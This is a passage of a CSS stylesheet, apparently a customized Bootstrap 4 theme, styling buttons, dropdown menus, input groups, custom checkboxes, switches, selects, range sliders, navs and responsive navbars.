.btn-outline-light.focus {
box-shadow: 0 0 0 .2rem #f8f9fa80
}
.btn-outline-light.disabled,
.btn-outline-light:disabled {
color: #f8f9fa;
background-color: transparent
}
.btn-outline-light:not(:disabled):not(.disabled):active,
.btn-outline-light:not(:disabled):not(.disabled).active,
.show>.btn-outline-light.dropdown-toggle {
color: #212529;
background-color: #f8f9fa;
border-color: #f8f9fa
}
.btn-outline-light:not(:disabled):not(.disabled):active:focus,
.btn-outline-light:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-light.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #f8f9fa80
}
.btn-outline-dark {
color: #343a40;
border-color: #343a40
}
.btn-outline-dark:hover {
color: #fff;
background-color: #343a40;
border-color: #343a40
}
.btn-outline-dark:focus,
.btn-outline-dark.focus {
box-shadow: 0 0 0 .2rem #343a4080
}
.btn-outline-dark.disabled,
.btn-outline-dark:disabled {
color: #343a40;
background-color: transparent
}
.btn-outline-dark:not(:disabled):not(.disabled):active,
.btn-outline-dark:not(:disabled):not(.disabled).active,
.show>.btn-outline-dark.dropdown-toggle {
color: #fff;
background-color: #343a40;
border-color: #343a40
}
.btn-outline-dark:not(:disabled):not(.disabled):active:focus,
.btn-outline-dark:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-dark.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #343a4080
}
.btn-link {
font-weight: 400;
color: #007bff;
text-decoration: none
}
.btn-link:hover {
color: #0056b3;
text-decoration: none
}
.btn-link:focus,
.btn-link.focus {
text-decoration: none
}
.btn-link:disabled,
.btn-link.disabled {
color: #6c757d;
pointer-events: none
}
.btn-lg,
.btn-group-lg>.btn {
padding: 0 1rem;
font-size: 1rem;
line-height: 1.5;
border-radius: 20px
}
.btn-sm,
.btn-group-sm>.btn {
padding: 0 1rem;
font-size: .75rem;
line-height: 2;
border-radius: 12px
}
.btn-block {
display: block;
width: 100%
}
.btn-block+.btn-block {
margin-top: .5rem
}
input[type=submit].btn-block,
input[type=reset].btn-block,
input[type=button].btn-block {
width: 100%
}
.fade {
transition: opacity .15s linear
}
@media (prefers-reduced-motion: reduce) {
.fade {
transition: none
}
}
.fade:not(.show) {
opacity: 0
}
.collapse:not(.show) {
display: none
}
.collapsing {
position: relative;
height: 0;
overflow: hidden;
transition: height .35s ease
}
@media (prefers-reduced-motion: reduce) {
.collapsing {
transition: none
}
}
.dropup,
.dropright,
.dropdown,
.dropleft {
position: relative
}
.dropdown-toggle {
white-space: nowrap
}
.dropdown-toggle:after {
display: inline-block;
margin-left: .255em;
vertical-align: .255em;
content: "";
border-top: .3em solid;
border-right: .3em solid transparent;
border-bottom: 0;
border-left: .3em solid transparent
}
.dropdown-toggle:empty:after {
margin-left: 0
}
.dropdown-menu {
position: absolute;
top: 100%;
left: 0;
z-index: 1000;
display: none;
float: left;
min-width: 10rem;
padding: .5rem 0;
margin: .125rem 0 0;
font-size: 1rem;
color: #212529;
text-align: left;
list-style: none;
background-color: #fff;
background-clip: padding-box;
border: 1px solid rgba(0, 0, 0, .15);
border-radius: 8px
}
.dropdown-menu-left {
right: auto;
left: 0
}
.dropdown-menu-right {
right: 0;
left: auto
}
@media (min-width: 576px) {
.dropdown-menu-sm-left {
right: auto;
left: 0
}
.dropdown-menu-sm-right {
right: 0;
left: auto
}
}
@media (min-width: 768px) {
.dropdown-menu-md-left {
right: auto;
left: 0
}
.dropdown-menu-md-right {
right: 0;
left: auto
}
}
@media (min-width: 992px) {
.dropdown-menu-lg-left {
right: auto;
left: 0
}
.dropdown-menu-lg-right {
right: 0;
left: auto
}
}
@media (min-width: 1200px) {
.dropdown-menu-xl-left {
right: auto;
left: 0
}
.dropdown-menu-xl-right {
right: 0;
left: auto
}
}
.dropup .dropdown-menu {
top: auto;
bottom: 100%;
margin-top: 0;
margin-bottom: .125rem
}
.dropup .dropdown-toggle:after {
display: inline-block;
margin-left: .255em;
vertical-align: .255em;
content: "";
border-top: 0;
border-right: .3em solid transparent;
border-bottom: .3em solid;
border-left: .3em solid transparent
}
.dropup .dropdown-toggle:empty:after {
margin-left: 0
}
.dropright .dropdown-menu {
top: 0;
right: auto;
left: 100%;
margin-top: 0;
margin-left: .125rem
}
.dropright .dropdown-toggle:after {
display: inline-block;
margin-left: .255em;
vertical-align: .255em;
content: "";
border-top: .3em solid transparent;
border-right: 0;
border-bottom: .3em solid transparent;
border-left: .3em solid
}
.dropright .dropdown-toggle:empty:after {
margin-left: 0
}
.dropright .dropdown-toggle:after {
vertical-align: 0
}
.dropleft .dropdown-menu {
top: 0;
right: 100%;
left: auto;
margin-top: 0;
margin-right: .125rem
}
.dropleft .dropdown-toggle:after {
display: inline-block;
margin-left: .255em;
vertical-align: .255em;
content: ""
}
.dropleft .dropdown-toggle:after {
display: none
}
.dropleft .dropdown-toggle:before {
display: inline-block;
margin-right: .255em;
vertical-align: .255em;
content: "";
border-top: .3em solid transparent;
border-right: .3em solid;
border-bottom: .3em solid transparent
}
.dropleft .dropdown-toggle:empty:after {
margin-left: 0
}
.dropleft .dropdown-toggle:before {
vertical-align: 0
}
.dropdown-menu[x-placement^=top],
.dropdown-menu[x-placement^=right],
.dropdown-menu[x-placement^=bottom],
.dropdown-menu[x-placement^=left] {
right: auto;
bottom: auto
}
.dropdown-divider {
height: 0;
margin: .5rem 0;
overflow: hidden;
border-top: 1px solid #e9ecef
}
.dropdown-item {
display: block;
width: 100%;
padding: .25rem 1.5rem;
clear: both;
font-weight: 400;
color: #212529;
text-align: inherit;
white-space: nowrap;
background-color: transparent;
border: 0
}
.dropdown-item:hover,
.dropdown-item:focus {
color: #16181b;
text-decoration: none;
background-color: #e9ecef
}
.dropdown-item.active,
.dropdown-item:active {
color: #fff;
text-decoration: none;
background-color: #007bff
}
.dropdown-item.disabled,
.dropdown-item:disabled {
color: #adb5bd;
pointer-events: none;
background-color: transparent
}
.dropdown-menu.show {
display: block
}
.dropdown-header {
display: block;
padding: .5rem 1.5rem;
margin-bottom: 0;
font-size: .875rem;
color: #6c757d;
white-space: nowrap
}
.dropdown-item-text {
display: block;
padding: .25rem 1.5rem;
color: #212529
}
.btn-group,
.btn-group-vertical {
position: relative;
display: inline-flex;
vertical-align: middle
}
.btn-group>.btn,
.btn-group-vertical>.btn {
position: relative;
flex: 1 1 auto
}
.btn-group>.btn:hover,
.btn-group-vertical>.btn:hover {
z-index: 1
}
.btn-group>.btn:focus,
.btn-group>.btn:active,
.btn-group>.btn.active,
.btn-group-vertical>.btn:focus,
.btn-group-vertical>.btn:active,
.btn-group-vertical>.btn.active {
z-index: 1
}
.btn-toolbar {
display: flex;
flex-wrap: wrap;
justify-content: flex-start
}
.btn-toolbar .input-group {
width: auto
}
.btn-group>.btn:not(:first-child),
.btn-group>.btn-group:not(:first-child) {
margin-left: -1px
}
.btn-group>.btn:not(:last-child):not(.dropdown-toggle),
.btn-group>.btn-group:not(:last-child)>.btn {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.btn-group>.btn:not(:first-child),
.btn-group>.btn-group:not(:first-child)>.btn {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.dropdown-toggle-split {
padding-right: .75rem;
padding-left: .75rem
}
.dropdown-toggle-split:after,
.dropup .dropdown-toggle-split:after,
.dropright .dropdown-toggle-split:after {
margin-left: 0
}
.dropleft .dropdown-toggle-split:before {
margin-right: 0
}
.btn-sm+.dropdown-toggle-split,
.btn-group-sm>.btn+.dropdown-toggle-split {
padding-right: .75rem;
padding-left: .75rem
}
.btn-lg+.dropdown-toggle-split,
.btn-group-lg>.btn+.dropdown-toggle-split {
padding-right: .75rem;
padding-left: .75rem
}
.btn-group-vertical {
flex-direction: column;
align-items: flex-start;
justify-content: center
}
.btn-group-vertical>.btn,
.btn-group-vertical>.btn-group {
width: 100%
}
.btn-group-vertical>.btn:not(:first-child),
.btn-group-vertical>.btn-group:not(:first-child) {
margin-top: -1px
}
.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),
.btn-group-vertical>.btn-group:not(:last-child)>.btn {
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.btn-group-vertical>.btn:not(:first-child),
.btn-group-vertical>.btn-group:not(:first-child)>.btn {
border-top-left-radius: 0;
border-top-right-radius: 0
}
.btn-group-toggle>.btn,
.btn-group-toggle>.btn-group>.btn {
margin-bottom: 0
}
.btn-group-toggle>.btn input[type=radio],
.btn-group-toggle>.btn input[type=checkbox],
.btn-group-toggle>.btn-group>.btn input[type=radio],
.btn-group-toggle>.btn-group>.btn input[type=checkbox] {
position: absolute;
clip: rect(0, 0, 0, 0);
pointer-events: none
}
.input-group {
position: relative;
display: flex;
flex-wrap: wrap;
align-items: stretch;
width: 100%
}
.input-group>.form-control,
.input-group>.form-control-plaintext,
.input-group>.custom-select,
.input-group>.custom-file {
position: relative;
flex: 1 1 auto;
width: 1%;
min-width: 0;
margin-bottom: 0
}
.input-group>.form-control+.form-control,
.input-group>.form-control+.custom-select,
.input-group>.form-control+.custom-file,
.input-group>.form-control-plaintext+.form-control,
.input-group>.form-control-plaintext+.custom-select,
.input-group>.form-control-plaintext+.custom-file,
.input-group>.custom-select+.form-control,
.input-group>.custom-select+.custom-select,
.input-group>.custom-select+.custom-file,
.input-group>.custom-file+.form-control,
.input-group>.custom-file+.custom-select,
.input-group>.custom-file+.custom-file {
margin-left: -1px
}
.input-group>.form-control:focus,
.input-group>.custom-select:focus,
.input-group>.custom-file .custom-file-input:focus~.custom-file-label {
z-index: 3
}
.input-group>.custom-file .custom-file-input:focus {
z-index: 4
}
.input-group>.form-control:not(:first-child),
.input-group>.custom-select:not(:first-child) {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.input-group>.custom-file {
display: flex;
align-items: center
}
.input-group>.custom-file:not(:last-child) .custom-file-label,
.input-group>.custom-file:not(:last-child) .custom-file-label:after {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.input-group>.custom-file:not(:first-child) .custom-file-label {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.input-group:not(.has-validation)>.form-control:not(:last-child),
.input-group:not(.has-validation)>.custom-select:not(:last-child),
.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label,
.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label:after {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.input-group.has-validation>.form-control:nth-last-child(n+3),
.input-group.has-validation>.custom-select:nth-last-child(n+3),
.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label,
.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label:after {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.input-group-prepend,
.input-group-append {
display: flex
}
.input-group-prepend .btn,
.input-group-append .btn {
position: relative;
z-index: 2
}
.input-group-prepend .btn:focus,
.input-group-append .btn:focus {
z-index: 3
}
.input-group-prepend .btn+.btn,
.input-group-prepend .btn+.input-group-text,
.input-group-prepend .input-group-text+.input-group-text,
.input-group-prepend .input-group-text+.btn,
.input-group-append .btn+.btn,
.input-group-append .btn+.input-group-text,
.input-group-append .input-group-text+.input-group-text,
.input-group-append .input-group-text+.btn {
margin-left: -1px
}
.input-group-prepend {
margin-right: -1px
}
.input-group-append {
margin-left: -1px
}
.input-group-text {
display: flex;
align-items: center;
padding: 0 1rem;
margin-bottom: 0;
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #495057;
text-align: center;
white-space: nowrap;
background-color: #e9ecef;
border: 1px solid #ced4da;
border-radius: 8px
}
.input-group-text input[type=radio],
.input-group-text input[type=checkbox] {
margin-top: 0
}
.input-group-lg>.form-control:not(textarea),
.input-group-lg>.custom-select {
height: calc(1.5em + 2px)
}
.input-group-lg>.form-control,
.input-group-lg>.custom-select,
.input-group-lg>.input-group-prepend>.input-group-text,
.input-group-lg>.input-group-append>.input-group-text,
.input-group-lg>.input-group-prepend>.btn,
.input-group-lg>.input-group-append>.btn {
padding: 0 1rem;
font-size: 1.25rem;
line-height: 1.5;
border-radius: .3rem
}
.input-group-sm>.form-control:not(textarea),
.input-group-sm>.custom-select {
height: calc(1.5em + 2px)
}
.input-group-sm>.form-control,
.input-group-sm>.custom-select,
.input-group-sm>.input-group-prepend>.input-group-text,
.input-group-sm>.input-group-append>.input-group-text,
.input-group-sm>.input-group-prepend>.btn,
.input-group-sm>.input-group-append>.btn {
padding: 0 1rem;
font-size: .875rem;
line-height: 1.5;
border-radius: .2rem
}
.input-group-lg>.custom-select,
.input-group-sm>.custom-select {
padding-right: 2rem
}
.input-group>.input-group-prepend>.btn,
.input-group>.input-group-prepend>.input-group-text,
.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.btn,
.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.input-group-text,
.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.btn,
.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.input-group-text,
.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),
.input-group>.input-group-append:last-child>.input-group-text:not(:last-child) {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.input-group>.input-group-append>.btn,
.input-group>.input-group-append>.input-group-text,
.input-group>.input-group-prepend:not(:first-child)>.btn,
.input-group>.input-group-prepend:not(:first-child)>.input-group-text,
.input-group>.input-group-prepend:first-child>.btn:not(:first-child),
.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child) {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.custom-control {
position: relative;
z-index: 1;
display: block;
min-height: 1.5rem;
padding-left: 1.5rem;
-webkit-print-color-adjust: exact;
color-adjust: exact
}
.custom-control-inline {
display: inline-flex;
margin-right: 1rem
}
.custom-control-input {
position: absolute;
left: 0;
z-index: -1;
width: 1rem;
height: 1.25rem;
opacity: 0
}
.custom-control-input:checked~.custom-control-label:before {
color: #fff;
border-color: var(--secondary-500, #ff7800);
background-color: var(--secondary-500, #ff7800)
}
.custom-control-input:focus~.custom-control-label:before {
box-shadow: none
}
.custom-control-input:focus:not(:checked)~.custom-control-label:before {
border-color: #80bdff
}
.custom-control-input:not(:disabled):active~.custom-control-label:before {
color: transparent;
background-color: var(--secondary-500, #ff7800);
border-color: var(--secondary-500, #ff7800)
}
.custom-control-input[disabled]~.custom-control-label,
.custom-control-input:disabled~.custom-control-label {
color: var(--background-700, #527094)
}
.custom-control-input[disabled]~.custom-control-label:before,
.custom-control-input:disabled~.custom-control-label:before {
background-color: var(--background-100, #d8dfea)
}
.custom-control-label {
position: relative;
margin-bottom: 0;
vertical-align: top
}
.custom-control-label:before {
position: absolute;
top: .25rem;
left: -1.5rem;
display: block;
width: 1rem;
height: 1rem;
pointer-events: none;
content: "";
background-color: initial;
border: #adb5bd solid 1px
}
.custom-control-label:after {
position: absolute;
top: .25rem;
left: -1.5rem;
display: block;
width: 1rem;
height: 1rem;
content: "";
background: 50%/50% 50% no-repeat
}
.custom-checkbox .custom-control-label:before {
border-radius: 2px
}
.custom-checkbox .custom-control-input:checked~.custom-control-label:after {
background-image: url(/assets/img/check-r-white-md.svg)
}
.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:before {
border-color: #007bff;
background-color: #007bff
}
.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:after {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='4' viewBox='0 0 4 4'%3e%3cpath stroke='%23ffffff' d='M0 2h4'/%3e%3c/svg%3e")
}
.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label:before {
background-color: var(--background-100, #d8dfea)
}
.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label:before {
background-color: var(--background-100, #d8dfea)
}
.custom-radio .custom-control-label:before {
border-radius: 50%
}
.custom-radio .custom-control-input:checked~.custom-control-label:after {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e")
}
.custom-radio .custom-control-input:disabled:checked~.custom-control-label:before {
background-color: var(--background-100, #d8dfea)
}
.custom-switch {
padding-left: 3rem
}
.custom-switch .custom-control-label:before {
left: -3rem;
width: 2.5rem;
pointer-events: all;
border-radius: .5rem
}
.custom-switch .custom-control-label:after {
top: calc(.25rem + 2px);
left: calc(-3rem + 2px);
width: calc(1rem - 4px);
height: calc(1rem - 4px);
background-color: #adb5bd;
border-radius: .5rem;
transition: transform .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.custom-switch .custom-control-label:after {
transition: none
}
}
.custom-switch .custom-control-input:checked~.custom-control-label:after {
background-color: initial;
transform: translate(1.5rem)
}
.custom-switch .custom-control-input:disabled:checked~.custom-control-label:before {
background-color: var(--background-100, #d8dfea)
}
.custom-select {
display: inline-block;
width: 100%;
height: calc(1.5em + 2px);
padding: 0 2rem 0 1rem;
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #495057;
vertical-align: middle;
background: initial url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right 1rem center/8px 10px no-repeat;
border: 1px solid #ced4da;
border-radius: 8px;
-webkit-appearance: none;
appearance: none
}
.custom-select:focus {
border-color: #80bdff;
outline: 0;
box-shadow: 0 0 0 .2rem #007bff40
}
.custom-select:focus::-ms-value {
color: #495057;
background-color: initial
}
.custom-select[multiple],
.custom-select[size]:not([size="1"]) {
height: auto;
padding-right: 1rem;
background-image: none
}
.custom-select:disabled {
color: #6c757d;
background-color: #e9ecef
}
.custom-select::-ms-expand {
display: none
}
.custom-select:-moz-focusring {
color: transparent;
text-shadow: 0 0 0 #495057
}
.custom-select-sm {
height: calc(1.5em + 2px);
padding-top: 0;
padding-bottom: 0;
padding-left: 1rem;
font-size: .875rem
}
.custom-select-lg {
height: calc(1.5em + 2px);
padding-top: 0;
padding-bottom: 0;
padding-left: 1rem;
font-size: 1.25rem
}
.custom-file {
position: relative;
display: inline-block;
width: 100%;
height: calc(1.5em + 2px);
margin-bottom: 0
}
.custom-file-input {
position: relative;
z-index: 2;
width: 100%;
height: calc(1.5em + 2px);
margin: 0;
overflow: hidden;
opacity: 0
}
.custom-file-input:focus~.custom-file-label {
border-color: #80bdff;
box-shadow: none
}
.custom-file-input[disabled]~.custom-file-label,
.custom-file-input:disabled~.custom-file-label {
background-color: #fff
}
.custom-file-input:lang(en)~.custom-file-label:after {
content: "Browse"
}
.custom-file-input~.custom-file-label[data-browse]:after {
content: attr(data-browse)
}
.custom-file-label {
position: absolute;
top: 0;
right: 0;
left: 0;
z-index: 1;
height: calc(1.5em + 2px);
padding: 0 1rem;
overflow: hidden;
font-weight: 400;
line-height: 1.5;
color: #495057;
background-color: initial;
border: 1px solid #ced4da;
border-radius: 8px
}
.custom-file-label:after {
position: absolute;
top: 0;
right: 0;
bottom: 0;
z-index: 3;
display: block;
height: 1.5em;
padding: 0 1rem;
line-height: 1.5;
color: #495057;
content: "Browse";
background-color: #e9ecef;
border-left: inherit;
border-radius: 0 8px 8px 0
}
.custom-range {
width: 100%;
height: 1.4rem;
padding: 0;
background-color: transparent;
-webkit-appearance: none;
appearance: none
}
.custom-range:focus {
outline: 0
}
.custom-range:focus::-webkit-slider-thumb {
box-shadow: 0 0 0 1px #fff, none
}
.custom-range:focus::-moz-range-thumb {
box-shadow: 0 0 0 1px #fff, none
}
.custom-range:focus::-ms-thumb {
box-shadow: 0 0 0 1px #fff, none
}
.custom-range::-moz-focus-outer {
border: 0
}
.custom-range::-webkit-slider-thumb {
width: 1rem;
height: 1rem;
margin-top: -.25rem;
background-color: #007bff;
border: 0;
border-radius: 1rem;
-webkit-transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
-webkit-appearance: none;
appearance: none
}
@media (prefers-reduced-motion: reduce) {
.custom-range::-webkit-slider-thumb {
-webkit-transition: none;
transition: none
}
}
.custom-range::-webkit-slider-thumb:active {
background-color: #b3d7ff
}
.custom-range::-webkit-slider-runnable-track {
width: 100%;
height: .5rem;
color: transparent;
cursor: pointer;
background-color: #dee2e6;
border-color: transparent;
border-radius: 1rem
}
.custom-range::-moz-range-thumb {
width: 1rem;
height: 1rem;
background-color: #007bff;
border: 0;
border-radius: 1rem;
-moz-transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
-webkit-appearance: none;
appearance: none
}
@media (prefers-reduced-motion: reduce) {
.custom-range::-moz-range-thumb {
-moz-transition: none;
transition: none
}
}
.custom-range::-moz-range-thumb:active {
background-color: #b3d7ff
}
.custom-range::-moz-range-track {
width: 100%;
height: .5rem;
color: transparent;
cursor: pointer;
background-color: #dee2e6;
border-color: transparent;
border-radius: 1rem
}
.custom-range::-ms-thumb {
width: 1rem;
height: 1rem;
margin-top: 0;
margin-right: .2rem;
margin-left: .2rem;
background-color: #007bff;
border: 0;
border-radius: 1rem;
-ms-transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;
-webkit-appearance: none;
appearance: none
}
@media (prefers-reduced-motion: reduce) {
.custom-range::-ms-thumb {
-ms-transition: none;
transition: none
}
}
.custom-range::-ms-thumb:active {
background-color: #b3d7ff
}
.custom-range::-ms-track {
width: 100%;
height: .5rem;
color: transparent;
cursor: pointer;
background-color: transparent;
border-color: transparent;
border-width: .5rem
}
.custom-range::-ms-fill-lower {
background-color: #dee2e6;
border-radius: 1rem
}
.custom-range::-ms-fill-upper {
margin-right: 15px;
background-color: #dee2e6;
border-radius: 1rem
}
.custom-range:disabled::-webkit-slider-thumb {
background-color: #adb5bd
}
.custom-range:disabled::-webkit-slider-runnable-track {
cursor: default
}
.custom-range:disabled::-moz-range-thumb {
background-color: #adb5bd
}
.custom-range:disabled::-moz-range-track {
cursor: default
}
.custom-range:disabled::-ms-thumb {
background-color: #adb5bd
}
.custom-control-label:before,
.custom-file-label,
.custom-select {
transition: background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.custom-control-label:before,
.custom-file-label,
.custom-select {
transition: none
}
}
.nav {
display: flex;
flex-wrap: wrap;
padding-left: 0;
margin-bottom: 0;
list-style: none
}
.nav-link {
display: block;
padding: .5rem 1rem
}
.nav-link:hover,
.nav-link:focus {
text-decoration: none
}
.nav-link.disabled {
color: #6c757d;
pointer-events: none;
cursor: default
}
.nav-tabs {
border-bottom: 1px solid #dee2e6
}
.nav-tabs .nav-link {
margin-bottom: -1px;
border: 1px solid transparent;
border-top-left-radius: 8px;
border-top-right-radius: 8px
}
.nav-tabs .nav-link:hover,
.nav-tabs .nav-link:focus {
border-color: #e9ecef #e9ecef #dee2e6
}
.nav-tabs .nav-link.disabled {
color: #6c757d;
background-color: transparent;
border-color: transparent
}
.nav-tabs .nav-link.active,
.nav-tabs .nav-item.show .nav-link {
color: #495057;
background-color: #fff;
border-color: #dee2e6 #dee2e6 #ffffff
}
.nav-tabs .dropdown-menu {
margin-top: -1px;
border-top-left-radius: 0;
border-top-right-radius: 0
}
.nav-pills .nav-link {
border-radius: 8px
}
.nav-pills .nav-link.active,
.nav-pills .show>.nav-link {
color: #fff;
background-color: #007bff
}
.nav-fill>.nav-link,
.nav-fill .nav-item {
flex: 1 1 auto;
text-align: center
}
.nav-justified>.nav-link,
.nav-justified .nav-item {
flex-basis: 0;
flex-grow: 1;
text-align: center
}
.tab-content>.tab-pane {
display: none
}
.tab-content>.active {
display: block
}
.navbar {
position: relative;
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: space-between;
padding: .5rem 1rem
}
.navbar .container,
.navbar .container-fluid,
.navbar .container-sm,
.navbar .container-md,
.navbar .container-lg,
.navbar .container-xl {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: space-between
}
.navbar-brand {
display: inline-block;
padding-top: .3125rem;
padding-bottom: .3125rem;
margin-right: 1rem;
font-size: 1.25rem;
line-height: inherit;
white-space: nowrap
}
.navbar-brand:hover,
.navbar-brand:focus {
text-decoration: none
}
.navbar-nav {
display: flex;
flex-direction: column;
padding-left: 0;
margin-bottom: 0;
list-style: none
}
.navbar-nav .nav-link {
padding-right: 0;
padding-left: 0
}
.navbar-nav .dropdown-menu {
position: static;
float: none
}
.navbar-text {
display: inline-block;
padding-top: .5rem;
padding-bottom: .5rem
}
.navbar-collapse {
flex-basis: 100%;
flex-grow: 1;
align-items: center
}
.navbar-toggler {
padding: .25rem .75rem;
font-size: 1.25rem;
line-height: 1;
background-color: transparent;
border: 1px solid transparent;
border-radius: 16px
}
.navbar-toggler:hover,
.navbar-toggler:focus {
text-decoration: none
}
.navbar-toggler-icon {
display: inline-block;
width: 1.5em;
height: 1.5em;
vertical-align: middle;
content: "";
background: 50%/100% 100% no-repeat
}
.navbar-nav-scroll {
max-height: 75vh;
overflow-y: auto
}
@media (max-width: 575.98px) {
.navbar-expand-sm>.container,
.navbar-expand-sm>.container-fluid,
.navbar-expand-sm>.container-sm,
.navbar-expand-sm>.container-md,
.navbar-expand-sm>.container-lg,
.navbar-expand-sm>.container-xl {
padding-right: 0;
padding-left: 0
}
}
@media (min-width: 576px) {
.navbar-expand-sm {
flex-flow: row nowrap;
justify-content: flex-start
}
.navbar-expand-sm .navbar-nav {
flex-direction: row
}
.navbar-expand-sm .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-sm .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-sm>.container,
.navbar-expand-sm>.container-fluid,
.navbar-expand-sm>.container-sm,
.navbar-expand-sm>.container-md,
.navbar-expand-sm>.container-lg,
.navbar-expand-sm>.container-xl {
flex-wrap: nowrap
}
.navbar-expand-sm .navbar-nav-scroll {
overflow: visible
}
.navbar-expand-sm .navbar-collapse {
display: flex !important;
flex-basis: auto
}
.navbar-expand-sm .navbar-toggler {
display: none
}
}
@media (max-width: 767.98px) {
.navbar-expand-md>.container,
.navbar-expand-md>.container-fluid,
.navbar-expand-md>.container-sm,
.navbar-expand-md>.container-md,
.navbar-expand-md>.container-lg,
.navbar-expand-md>.container-xl {
padding-right: 0;
padding-left: 0
}
}
@media (min-width: 768px) {
.navbar-expand-md {
flex-flow: row nowrap;
justify-content: flex-start
}
.navbar-expand-md .navbar-nav {
flex-direction: row
}
.navbar-expand-md .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-md .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-md>.container,
.navbar-expand-md>.container-fluid,
.navbar-expand-md>.container-sm,
.navbar-expand-md>.container-md,
.navbar-expand-md>.container-lg,
.navbar-expand-md>.container-xl {
flex-wrap: nowrap
}
.navbar-expand-md .navbar-nav-scroll {
overflow: visible
}
.navbar-expand-md .navbar-collapse {
display: flex !important;
flex-basis: auto
}
.navbar-expand-md .navbar-toggler {
display: none
}
}
@media (max-width: 991.98px) {
.navbar-expand-lg>.container,
.navbar-expand-lg>.container-fluid,
.navbar-expand-lg>.container-sm,
.navbar-expand-lg>.container-md,
.navbar-expand-lg>.container-lg,
.navbar-expand-lg>.container-xl {
padding-right: 0;
padding-left: 0
}
}
@media (min-width: 992px) {
.navbar-expand-lg {
flex-flow: row nowrap;
justify-content: flex-start
}
.navbar-expand-lg .navbar-nav {
flex-direction: row
}
.navbar-expand-lg .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-lg .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-lg>.container,
.navbar-expand-lg>.container-fluid,
.navbar-expand-lg>.container-sm,
.navbar-expand-lg>.container-md,
.navbar-expand-lg>.container-lg,
.navbar-expand-lg>.container-xl {
flex-wrap: nowrap
}
.navbar-expand-lg .navbar-nav-scroll {
overflow: visible
}
.navbar-expand-lg .navbar-collapse {
display: flex !important;
flex-basis: auto
}
.navbar-expand-lg .navbar-toggler {
display: none
}
}
@media (max-width: 1199.98px) {
.navbar-expand-xl>.container,
.navbar-expand-xl>.container-fluid,
.navbar-expand-xl>.container-sm,
.navbar-expand-xl>.container-md,
.navbar-expand-xl>.container-lg,
.navbar-expand-xl>.container-xl {
padding-right: 0;
padding-left: 0
}
}
@media (min-width: 1200px) {
.navbar-expand-xl {
flex-flow: row nowrap;
justify-content: flex-start
}
.navbar-expand-xl .navbar-nav {
flex-direction: row
}
.navbar-expand-xl .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-xl .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-xl>.container,
.navbar-expand-xl>.container-fluid,
.navbar-expand-xl>.container-sm,
.navbar-expand-xl>.container-md,
.navbar-expand-xl>.container-lg,
.navbar-expand-xl>.container-xl {
flex-wrap: nowrap
}
.navbar-expand-xl .navbar-nav-scroll {
overflow: visible
}
.navbar-expand-xl .navbar-collapse {
display: flex !important;
flex-basis: auto
}
.navbar-expand-xl .navbar-toggler {
display: none
}
}
.navbar-expand {
flex-flow: row nowrap;
justify-content: flex-start
}
.navbar-expand>.container,
.navbar-expand>.container-fluid,
.navbar-expand>.container-sm,
.navbar-expand>.container-md,
.navbar-expand>.container-lg,
.navbar-expand>.container-xl {
padding-right: 0;
padding-left: 0
